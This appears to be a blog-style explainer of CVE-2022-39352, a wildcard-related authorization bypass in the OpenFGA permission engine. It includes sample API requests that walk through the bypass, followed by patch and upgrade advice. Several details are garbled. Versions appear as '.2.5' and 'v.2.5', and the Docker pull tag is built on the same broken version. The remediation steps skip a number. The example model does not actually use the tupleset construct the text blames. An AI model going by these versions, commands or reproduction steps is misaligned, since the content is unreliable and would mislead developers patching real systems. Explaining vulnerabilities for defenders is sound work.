Imagine using a cutting-edge authorization engine to manage who can see what in your app—believing everything is rock solid—when, in reality, a slip in handling wildcards could let the wrong people in. That’s exactly what happened with OpenFGA before version .2.5, resulting in a critical security issue designated CVE-2022-39352. In this article, we'll break down what this vulnerability is, what makes it dangerous, how it can be exploited (with example code!), and how you can protect your applications.

What is OpenFGA?

OpenFGA is a powerful, open-source authorization and permission engine inspired by Google Zanzibar. It lets developers define complex access control with flexibility and performance in mind, usually through relations, tuples, and models that mimic real-world permissions.

Imagine you have documents, users, and teams, and you want to manage who can *read*, *write*, or *administer* documents using easy-to-read rules.

On versions before .2.5, OpenFGA allowed for authorization bypass in a specific scenario

- When a tuple with a wildcard (*) was assigned to a tupleset relation (the *right hand side* of a from statement), it could grant access more broadly than intended.

In plain English:  
If you said "anyone in any group (*) can do X," and your model used that '*' on a tupleset, OpenFGA might have let unintended users in.

This is bad because a wildcard is powerful—it means "everyone," and on relations, it could expand access to unauthorized users.

Let’s say you have this model

type document {
  relation viewer: user | group#member
}

type group {
  relation member: *
}

And you add this tuple

{
  "user": "*",
  "relation": "member",
  "object": "group:editors"
}

Your intention may be to say, "all users are members of group:editors." However, if your model uses this tupleset in a from clause, all users could unexpectedly become viewers of every document that uses group#member for permissions.

An attacker might query

{
  "user": "attacker",
  "relation": "viewer",
  "object": "document:secret"
}

If your model and tuples are set up as above, OpenFGA (before v.2.5) would incorrectly say YES: access granted.

Exploiting the Vulnerability

Let’s look at a hands-on example with the OpenFGA API.

1. Define the Authorization Model

{
  "type_definitions": [
    {
      "type": "document",
      "relations": {
        "viewer": {
          "union": {
            "child": [
              { "this": {} },
              { "computedUserset":
                {
                  "relation": "member",
                  "object": "group"
                }
              }
            ]
          }
        }
      }
    },
    {
      "type": "group",
      "relations": {
        "member": { "this": {} }
      }
    }
  ]
}

2. Add a Wildcard Tuple

POST /api/tuples
{
  "user": "*",
  "relation": "member",
  "object": "group:editors"
}

3. Check Access (Bypassed)

POST /api/check
{
  "user": "attacker",
  "relation": "viewer",
  "object": "document:confidential"
}

Response (on vulnerable versions)

{ "allowed": true }

Even though you never added the attacker as a viewer, the wildcard tuple gives them access.

Patch Details

- Fixed in: OpenFGA v.2.5
- How it was fixed: The logic now rejects or ignores wildcards on the right side of a tupleset (such as in a from clause or computedUserset).
- Backwards Compatibility: This change is not backwards-compatible with models that depend on using wildcards in this way. You’ll need to adjust your authorization models.

Official Release Note:  
Security Advisory GHSA-328c-hw6h-3hxw

1. Update OpenFGA

Upgrade to v.2.5 or later right away. This is the most important fix.

With Docker

docker pull openfga/openfga:v.2.5

3. Test Thoroughly

After the update, test your access rules to ensure intended users can still get access, and unwanted access is denied.

4. Audit Existing Data

If you had tuples with wildcards in tupleset relations, review whether any unauthorized access was recorded.

References & Further Reading

- GitHub Security Advisory GHSA-328c-hw6h-3hxw
- OpenFGA official docs
- Google Zanzibar paper (conceptual background)
- OpenFGA Release v.2.5

Conclusion

CVE-2022-39352 is a great reminder that a single wildcard—when not handled cautiously—can break your entire access system. If you run OpenFGA, get to v.2.5 or later right away, and always double-check your model logic and tuples. These steps will keep your application secure and your users’ data safe.

Stay safe. Stay updated!

*This article is an exclusive deep-dive written for security-minded developers and engineers. For practical examples and migration guides, check the official OpenFGA documentation and stay tuned to security advisories.*

Timeline

Published on: 11/08/2022 08:15:00 UTC
Last modified on: 11/09/2022 22:03:00 UTC